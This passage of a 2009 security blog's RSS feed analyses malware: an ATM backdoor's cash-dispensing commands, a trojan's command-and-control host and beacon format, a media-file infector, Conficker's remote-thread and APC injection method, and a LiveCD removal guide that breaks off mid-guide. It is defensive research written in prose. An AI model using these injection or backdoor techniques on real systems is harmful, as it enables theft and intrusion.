New;font-size:2;color:#404040"&gt;Agilis       [version number]&lt;br /&gt;Agent        [version number]&lt;br /&gt;Transactions [number]&lt;br /&gt;Cards        [number]&lt;br /&gt;KEYs         [number]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Command "6" will instruct the backdoor to recover the "Key A" and "Key B" from the file/ADS &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;redstone.bmp&lt;/span&gt;. It will then print them on a new receipt – the receipt will then be ejected.&lt;br /&gt; &lt;br /&gt;Command "8" allows an attacker to display all internal counters in a newly created dialog box (this may potentially reveal the amount of cash currently stored in ATM).&lt;br /&gt;&lt;br /&gt;Command "7" will generate a random number and then calculate a password that is unique for that random number.&lt;br /&gt;Then, it will display an &lt;em&gt;"Autorization"&lt;/em&gt; dialog box (orthography preserved):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;Request Code: [random number]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;Enter Responce:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It allows 3 attempts to be undertaken to enter correct password.&lt;br /&gt;&lt;br /&gt;If the provided password is correct, it will display another dialog box with a caption &lt;em&gt;"Enter Command"&lt;/em&gt; (orthography preserved):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;1..4 - dispense cassete&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;9 - Uninstall&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;0 - Exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In case of the choice 1-4, it will release commands &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;AFD_DISPENCE&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;AFD_PRESENT&lt;/span&gt;, and &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;AFD_RESTORE&lt;/span&gt; to the Diebold driver to instruct the Advanced Function Dispenser (AFD) module to dispense an &lt;a href="http://www.diebolddirect.com/4a-susd20-0001.html" target="_blank"&gt;ATM cassette&lt;/a&gt; with cash.&lt;br /&gt;&lt;br /&gt;With this level of sophistication, considering the trojan horse in its classic form is inside the ATM, even the following paranoid technique will unlikely make any difference:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/ScCqDptV5EI/AAAAAAAAAzk/TSOJnyLWYxc/s1600-h/atm.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 304px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/ScCqDptV5EI/AAAAAAAAAzk/TSOJnyLWYxc/s320/atm.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5314434540009546818" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-4071864081376024125?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/03/effect-of-credit-crunch-on-backdoors.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_teq8tr511YQ/ScCkVoQr1SI/AAAAAAAAAzU/s69NDA0wreI/s72-c/diebold.jpg' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-7360615465961546934</guid><pubDate>Wed, 11 Mar 2009 19:20:00 +0000</pubDate><atom:updated>2009-03-11T12:47:57.880-07:00</atom:updated><title>Someone Needs Help</title><description>Submission to ThreatExpert.com from SK, Sri Lanka:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;Hey you!!!&lt;br /&gt;You can't stop me. I'm the author of "angel.exe".I am going to upload my 100 Viruses to the internet from my web site.Will Soon.&lt;br /&gt;You and any anti viruses can't stop my growing!!!!!&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From Wikipedia: &lt;em&gt;"An &lt;a href="http://en.wikipedia.org/wiki/Inferiority_complex" target="_blank"&gt;inferiority complex&lt;/a&gt; is a feeling that one is inferior to others in some way. Such feelings can arise from an imagined or actual inferiority in the afflicted person. It is often subconscious, and is thought to drive afflicted individuals to overcompensate, resulting either in spectacular achievement or extreme schizotypal behavior, or both."&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-7360615465961546934?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/03/someone-needs-help.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-3961380129448080565</guid><pubDate>Mon, 02 Mar 2009 03:33:00 +0000</pubDate><atom:updated>2009-03-01T19:46:48.968-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Ackantta.B</category><title>New Variant Of Ackantta</title><description>Following the previous &lt;a href="http://blog.threatexpert.com/2008/12/beware-christmas-promotions-from-coca.html" target="_blank"&gt;variant&lt;/a&gt; of Ackantta mass-mailing worm, a &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2009-022520-1425-99&amp;tabid=2" target="_blank"&gt;new modification&lt;/a&gt; (B) is making the rounds now.&lt;br /&gt;&lt;br /&gt;This, time, it distributes Vundo trojan in its payload.&lt;br /&gt;&lt;br /&gt;Automated analysis is available &lt;a href="http://www.threatexpert.com/report.aspx?md5=925a4a25cfa562a0330c8733cc697021" target="_blank"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-3961380129448080565?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/03/new-variant-of-ackantta.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-1395983327313463556</guid><pubDate>Fri, 20 Feb 2009 02:04:00 +0000</pubDate><atom:updated>2009-02-19T19:14:56.355-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>anti-tibet targeted attack</category><title>Politically Motivated Trojan</title><description>In a recently reported security incident, one political organization was involved into a targeted attack. The Word document they received had either of the following names: &lt;em&gt;"Urgent Appeal to Secretary Hillary Clinton.doc"&lt;/em&gt; or &lt;em&gt;"Days with ITSN Tibet in My Eyes.doc"&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Putting aside any political motivations behind these attacks, and looking at the embedded trojan from the technical point of view, a pretty interesting piece of code is revealed.&lt;br /&gt;&lt;br /&gt;Being an executable embedded into Microsoft Word document, the trojan itself is a CDialog-based VC++ MFC application. When it starts, it checks if there is a driver installed in the system called &lt;em&gt;tmpreflt.sys&lt;/em&gt;. This driver appears to belong to OfficeScan software product from Trend Micro. The trojan tweaks its logics depending on the presence of &lt;em&gt;tmpreflt.sys&lt;/em&gt; and then installs a new driver &lt;em&gt;resdr32.sys&lt;/em&gt; that it reads and decrypts from its own resource section. This driver has device name &lt;em&gt;FILEGUARDDOS&lt;/em&gt; and it is presumably designed for self-protection purpose.&lt;br /&gt;&lt;br /&gt;The payload code of the trojan is encrypted in its resource section. After it decrypts the code, it starts its own executable, allocates memory in the address space of its "cloned" process, writes there the newly decrypted payload code, and spawns an execution thread in it.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SZ4W2nzPgtI/AAAAAAAAAy8/54aFnXRjR-U/s1600-h/t1.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 313px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SZ4W2nzPgtI/AAAAAAAAAy8/54aFnXRjR-U/s320/t1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5304702538741678802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once the second instance of the trojan is started and the injected payload code is activated, it will contact its command-and-control server &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;mmwbzhij.meibu.com&lt;/span&gt; on ports 8585 and 8686.&lt;br /&gt;&lt;br /&gt;The communication traffic is encrypted. The commands issued by the C&amp;C server will instruct the trojan to download and run additional components. For example, the newly downloaded components can be created under the following filenames:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;C:\loader.exe&lt;/li&gt;&lt;br /&gt;&lt;li&gt;C:\ml.exe&lt;/li&gt;&lt;br /&gt;&lt;li&gt;%System%\EventSystem.dll&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;The trojan constantly submits POST requests to the remote host with the following format:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;http://mmwbzhij.meibu.com:8686/[random characters].[random file extension]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;[random characters]&lt;/span&gt; string may look similar to:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;qRXycRXuwJ11749&lt;/li&gt;&lt;br /&gt;&lt;li&gt;PqJNBkcPDm18630&lt;/li&gt;&lt;br /&gt;&lt;li&gt;ZPDPyZkZcV23661&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;/span&gt;&lt;br /&gt;and &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;[random file extension]&lt;/span&gt; can be any of the following: &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;rm&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;mov&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;mp3&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;pdf&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;One such POST request is shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SZ4ZASUmqLI/AAAAAAAAAzE/i1YXivzTzec/s1600-h/t2.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 268px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SZ4ZASUmqLI/AAAAAAAAAzE/i1YXivzTzec/s320/t2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5304704903797975218" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The purpose of these requests is not clear - the random characters contained in the POST request can potentially be used by the server to determine the encryption key that is different for every communication round (a hopping key).&lt;br /&gt;&lt;br /&gt;To run every time Windows starts, the trojan drops its copy under a variable name, such as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%System%\winpp.exe&lt;/span&gt; or &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%System%\instoll.exe&lt;/span&gt; and then registers its full path filename in the value:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"StubPath"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;of the registry key&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{345A814E-7F4F-1BCD-0104-050302030401}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fully automated reports can be found &lt;a href="http://www.threatexpert.com/report.aspx?md5=02f2029647e85fff81620b2c333bc9cf" target="_blank"&gt;here&lt;/a&gt; and &lt;a href="http://www.threatexpert.com/report.aspx?md5=7ce96a0ed4d71c26d2c377dd331e4466" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="" target="_blank"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-1395983327313463556?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/02/politically-motivated-trojan.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_teq8tr511YQ/SZ4W2nzPgtI/AAAAAAAAAy8/54aFnXRjR-U/s72-c/t1.gif' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-6952723010880885136</guid><pubDate>Thu, 05 Feb 2009 00:44:00 +0000</pubDate><atom:updated>2009-02-04T17:21:34.090-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>GetCodec Brisv</category><title>Trojan GetCodec/Brisv Comes Back Again</title><description>A few months old trojan &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-071823-1655-99" target="_blank"&gt;Brisv&lt;/a&gt; that infects multimedia files has struck again with no apparent reason, as reported by our customers.&lt;br /&gt;&lt;br /&gt;The trojan enumerates local and mapped network drives looking for the files with the extensions ASF, WMV, WMA, MP2, MP3. It will then infect the located files by injecting malicious script that instructs the media player to pop up default browser window and navigate it to the malicious web site &lt;em&gt;isvbr.net&lt;/em&gt;, which in turn, redirects to a different URL: &lt;em&gt;www.play-error.com&lt;/em&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SYo5AHf3cdI/AAAAAAAAAyc/r9B1k1ToOeU/s1600-h/screen3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 153px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SYo5AHf3cdI/AAAAAAAAAyc/r9B1k1ToOeU/s400/screen3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5299110585730298322" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When the media player plays back an infected file (on a test system, after about 10 seconds of the playback), the browser window pops up and the player stops playing the file, as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SYo6FALWc8I/AAAAAAAAAyk/hpwFwFxgkpI/s1600-h/screen0.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 249px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SYo6FALWc8I/AAAAAAAAAyk/hpwFwFxgkpI/s400/screen0.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5299111769176175554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The web site the user is redirected to can be variable and may host any kind of malware. At this time of writing, &lt;em&gt;isvbr.net&lt;/em&gt; redirects to &lt;em&gt;www.play-error.com&lt;/em&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SYo6TeyxqFI/AAAAAAAAAys/0ZLeIruQVSM/s1600-h/screen1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 375px; height: 400px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SYo6TeyxqFI/AAAAAAAAAys/0ZLeIruQVSM/s400/screen1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5299112017912768594" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The traffic generated during the playback of the infected multimedia file is shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SYo7nmhD2QI/AAAAAAAAAy0/BDEwzgcC7zU/s1600-h/screen4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 215px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SYo7nmhD2QI/AAAAAAAAAy0/BDEwzgcC7zU/s400/screen4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5299113463094958338" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To see the list of system changes, please check ThreatExpert report &lt;a href="http://www.threatexpert.com/report.aspx?md5=4e2f538fa4dfe028c221ee7f020a05d4" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Should you need to quickly scan your system and/or desinfect the infected multimedia files, please run the fixtool from &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-072215-0522-99" target="_blank"&gt;this&lt;/a&gt; location.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-6952723010880885136?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/02/trojan-getcodecbrisv-comes-back-again.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_teq8tr511YQ/SYo5AHf3cdI/AAAAAAAAAyc/r9B1k1ToOeU/s72-c/screen3.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-1341712842631062501</guid><pubDate>Thu, 29 Jan 2009 01:50:00 +0000</pubDate><atom:updated>2009-01-28T18:03:24.440-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Conficker/Downadup</category><title>Conficker/Downadup: Memory Injection Model</title><description>The worm Conficker/Downadup does not need a special introduction as it was pretty well described in various write-ups in great detail.&lt;br /&gt;&lt;br /&gt;Nevertheless, considering it employs a set of unique techniques, a deeper analysis is needed.&lt;br /&gt;&lt;br /&gt;One of such techniques is its memory injection model that will be discussed in this post. Note: as the analysis continues, more posts might be expected.&lt;br /&gt;&lt;br /&gt;Conficker runs as a DLL file and unpacks itself on the heap of the host executable process, such as rundll32.exe. In order to bypass firewalls (and possibly HIPS too), its author has certainly thought of a proper memory injection model.&lt;br /&gt;&lt;br /&gt;The worm calls its memory injection function with the following prototype:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;InjectIntoProcess (DWORD TargetProcessID, LPSTR ConfickerDllFilename)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The function is called for the processes explorer.exe, svchost.exe, and services.exe.&lt;br /&gt;&lt;br /&gt;For start, the worm will open the target process, allocate a small memory region in its virtual address space, and write in it the full path filename of its own DLL.&lt;br /&gt;&lt;br /&gt;Next, it will obtain the address of LoadLibraryA() API imported from kernel32.dll.&lt;br /&gt;&lt;br /&gt;The worm will then make an interesting trick: it will call CreateRemoteThread() API by passing it the handle of the targeted process. The thread start address it specifies is the virtual address of LoadLibraryA() API (imported from kernel32.dll). The specified thread parameter is the address of the allocated buffer within the process where the full path filename of the Conficker DLL has just been written.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SYEM23fNo2I/AAAAAAAAAyU/O4YL1H3aIFw/s1600-h/conf1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 345px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SYEM23fNo2I/AAAAAAAAAyU/O4YL1H3aIFw/s400/conf1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5296528773511750498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This will force the target process to spawn a thread that will load the worm DLL file – pretty neat, considering there is no executable code physically injected.&lt;br /&gt;&lt;br /&gt;But that’s not all.&lt;br /&gt;&lt;br /&gt;Following this trick, Conficker will enumerate all threads running inside the targeted process, and for every thread it will add to its queue an Asynchronous Procedure Call (APC).&lt;br /&gt;&lt;br /&gt;For this purpose it uses an undocumented API NtQueueApcThread() which has the following prototype:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;NtQueueApcThread(HANDLE   hThreadHandle, PIO_APC_ROUTINE lpApcRoutine, PVOID pApcRoutineContext, ...),&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where hThreadHandle is a handle of the enumerated thread that receives an APC call into its queue, lpApcRoutine is the address of the entry point to the user APC routine, and pApcRoutineContext is the user defined parameter for APC routine.&lt;br /&gt;&lt;br /&gt;Guess what address it uses for the user APC routine? That’s right, it’s the address of the API LoadLibraryExA() imported from kernel32.dll, and the parameter for this call is the name of the Conficker DLL, previously saved inside the process’s address space.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SYEMzFTSLNI/AAAAAAAAAyM/6ffYAVIqbuA/s1600-h/conf2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 319px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SYEMzFTSLNI/AAAAAAAAAyM/6ffYAVIqbuA/s400/conf2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5296528708500335826" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With the APC queued for the target process threads, as soon those threads are signaled, the routine that loads Conficker DLL will be invoked. Hence, the remote injection.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-1341712842631062501?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/01/confickerdownadup-memory-injection.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_teq8tr511YQ/SYEM23fNo2I/AAAAAAAAAyU/O4YL1H3aIFw/s72-c/conf1.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-3347131351748960775</guid><pubDate>Thu, 22 Jan 2009 01:43:00 +0000</pubDate><atom:updated>2009-01-22T13:45:14.030-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>locked file livecd</category><title>Removing Persistent Malware</title><description>&lt;br/&gt;This blog post is not for the technical guru!&lt;br /&gt;&lt;br /&gt;While it's not for mums and dads either, its main purpose is to explain to an average user how to manually remove persistent malware that cannot be easily deleted otherwise.&lt;br /&gt;&lt;br /&gt;A reader who starts shivering from hearing the words &lt;em&gt;"Linux"&lt;/em&gt; or &lt;em&gt;"Ubuntu"&lt;/em&gt; could find this post useful  too – not only to be able to remove persistent malware, but maybe to get closer to Linux and start using it for Internet banking, as a safer alternative to Windows and Internet Explorer (arguably, of course).&lt;br /&gt;&lt;br /&gt;Malware removal is a separate big discussion subject. There are many known methods that involve antirootkits, dedicated fixtools, kernel-mode drivers employed by antivirus products that allow to delete, wipe-out, or simply damage locked malware files.&lt;br /&gt;&lt;br /&gt;Nevertheless, we keep receiving an overwhelming number of requests coming from various customers asking for help in deleting locked malicious files. This post started as an email template that we utilized in our response, but given the fact so many people ask the same question again, it sounds reasonable to post this information here for a better public exposure.&lt;br /&gt;&lt;br /&gt;Let's say, a user accidently clicks an attachment and then realizes something wrong has just happened. The attachment file gets submitted to ThreatExpert. The returned report suggests that an additional malicious file might have been created – the user locates that file and attempts to delete it, but Windows denies access to such file as it's loaded in memory.&lt;br /&gt;&lt;br /&gt;Quite often, all it takes is to kill a process to unlock a file, or reboot in safe mode and delete a file that is known to be malicious, or register such file for a delayed removal. But the reality is that in many cases it's not that simple. Malware can be loaded into the address space of a legitimate system process so that termination of such process will lead to system crash. In a different scenario, a file can be protected by a kernel mode driver, and that driver is protected by another watchdog thread running inside a legitimate process. The possibilities for malware authors to protect their files are endless. AV industry makes its best to break such protection, but in the end it's still a cat-and-mouse game.&lt;br /&gt;&lt;br /&gt;A very simple method to delete malicious files is to boot from a different partition that is known to be clear of malware, and then delete malicious files that reside on an affected partition. This way, the files that reside on an affected partition are not obstructed from being seen or manipulated (e.g. any possible rootkits will be inactive at this stage).&lt;br /&gt;&lt;br /&gt;There is nothing new in this method, and there are multiple ways to achieve this. But if you ever experienced locked malware file problem before, it might help to have a Linux start-up CD (LiveCD) in the pocket of your backpack, ready to fix a problem any time you need it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Scenario&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Let's say, a malicious file called &lt;em&gt;malicious_file.exe&lt;/em&gt; resides in the &lt;em&gt;%system%&lt;/em&gt; directory. This file cannot be deleted for some (unknown) reason.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Disclaimer&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Please note that the following description does not cover scenarios when a legitimate file is reported to be malicious due to a false positive, or because a firewall/HIPS system reports a file as suspicious, or because the user thinks it's malicious; it only explains how to delete a truly malicious file, that is a file with a code that performs malicious actions.&lt;br /&gt;&lt;br /&gt;If you're unsure about the purpose of the file that you intend to delete, please do not attempt this method. Removal of a system file or a file of a legitimate 3rd party software may lead to corruption of your operating system, any other software or your personal files.&lt;br /&gt;&lt;br /&gt;The author of this post takes no responsibility for any data corruption that may happen should this method be chosen and tried out. If you decide to follow it anyway, please do so on your own risk!&lt;br /&gt;&lt;br /&gt;Before you attempt this method, please back up your files and documents!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 1: Get Ubuntu.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;For start, you'll need to visit Ubuntu website to &lt;a href="http://www.ubuntu.com/GetUbuntu/download" target="_blank"&gt;download&lt;/a&gt; the latest version of this Linux distributive.&lt;br /&gt;&lt;br /&gt;Once you download the ISO image, please follow &lt;a href="https://help.ubuntu.com/community/BurningIsoHowto" target="_blank"&gt;these&lt;/a&gt; instructions on how to burn a boot-up CD or DVD.&lt;br /&gt;&lt;br /&gt;Turn off you computer properly from Windows. Disconnect any USB devices you may have plugged in.&lt;br /&gt;&lt;br /&gt;Boot your computer from the LiveCD. If you can't boot, please read detailed explanation on how to fix this problem &lt;a href="https://help.ubuntu.com/community/BootFromCD" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;When you start the boot-up process, make your language choice:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SXgBPVDvpzI/AAAAAAAAAwg/mUarrXMUoEk/s1600-h/screen1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SXgBPVDvpzI/AAAAAAAAAwg/mUarrXMUoEk/s200/screen1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293982724836534066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;then, choose menu option &lt;em&gt;"Try Ubuntu without any change to your computer"&lt;/em&gt;, as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SXgBjnsZqfI/AAAAAAAAAwo/SOgWE-C3frk/s1600-h/screen2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SXgBjnsZqfI/AAAAAAAAAwo/SOgWE-C3frk/s200/screen2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293983073436281330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ubuntu will start booting up from your LiveCD. When it's done, you'll see the following screen:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SXgBthK-s-I/AAAAAAAAAww/GihFuF0zEZ4/s1600-h/screen3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SXgBthK-s-I/AAAAAAAAAww/GihFuF0zEZ4/s200/screen3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5293983243484181474" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2: Locating and Mounting Affected Windows Partition&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Next thing you'll have to do is to find your Windows partition that contains the malicious file(s). In our scenario, it's a file &lt;em&gt;%system%/malicious_file.exe&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Click Menu item &lt;em&gt;"Places"&lt;/em&gt;, then &lt;em&gt;"Computer"&lt;/em&gt; as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" 